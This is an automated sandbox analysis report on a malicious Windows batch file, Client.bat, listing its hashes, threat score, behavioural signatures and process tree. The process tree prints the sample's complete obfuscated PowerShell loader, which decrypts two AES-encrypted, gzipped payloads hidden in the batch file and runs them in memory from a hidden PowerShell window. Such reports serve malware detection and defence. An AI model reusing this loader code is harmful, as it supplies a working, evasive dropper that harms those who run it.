Analysis
- max time kernel
17s - max time network
16s - platform
windows7_x64 - resource
win7-20240221-en - resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system - submitted
08/05/2024, 23:00
Static task
static1
Behavioral task
behavioral1
Sample
Client.bat
Resource
win7-20240221-en
4 signatures
30 seconds
General
- Target Client.bat
- Size 493KB
- Sample240508-2zf8nsef49
- SHA256 e8f767f4eb2a2e61dc63ff62dd3a807879e9cdbc9678ed3c503847a47c9f2cca
- MD5 7094ce0a4c530778a5065a3cb7ba3c4a
- SHA1 c5731b65b80a4a59b5d5d4d0c47bcbc45db723b1
- SHA512 774f2b9a6328b39eb7053e9db17a2e48e399bbcf900b83922150e2dae6b886cda9f5af99c8571e2202c8abc2af2e1dd9c0a3bae88ab14cd4fb4970c2b285268b
- SSDEEP 12288:7oS1Mi3ZvEVDfxjtQL6q7Kf/vCgFfdYsH:7o+MihEt1uOf/vbfYu
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2912 powershell.exe - Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2912 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2912 powershell.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1692 wrote to memory of 2560 1692 cmd.exe 29 PID 1692 wrote to memory of 2560 1692 cmd.exe 29 PID 1692 wrote to memory of 2560 1692 cmd.exe 29 PID 1692 wrote to memory of 2912 1692 cmd.exe 30 PID 1692 wrote to memory of 2912 1692 cmd.exe 30 PID 1692 wrote to memory of 2912 1692 cmd.exe 30
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Client.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1692 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RpOLZDoluIa5pJWt3MShtq8ucUbVnSJL03s4NyOM1OY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PgZEQq6XKKhcY8YiWNws0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tlGyS=New-Object System.IO.MemoryStream(,$param_var); $tkRca=New-Object System.IO.MemoryStream; $axVDt=New-Object System.IO.Compression.GZipStream($tlGyS, [IO.Compression.CompressionMode]::Decompress); $axVDt.CopyTo($tkRca); $axVDt.Dispose(); $tlGyS.Dispose(); $tkRca.Dispose(); $tkRca.ToArray();}function execute_function($param_var,$param2_var){ $Oehyc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GVpLB=$Oehyc.EntryPoint; $GVpLB.Invoke($null, $param2_var);}$Wiypn = 'C:\Users\Admin\AppData\Local\Temp\Client.bat';$host.UI.RawUI.WindowTitle = $Wiypn;$FZxzB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Wiypn).Split([Environment]::NewLine);foreach ($SgbrW in $FZxzB) { if ($SgbrW.StartsWith('PrTqKlxMFfEfnSyFVRmW')) { $YQpFV=$SgbrW.Substring(20); break; }}$payloads_var=[string[]]$YQpFV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "2⤵PID:2560
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2912
-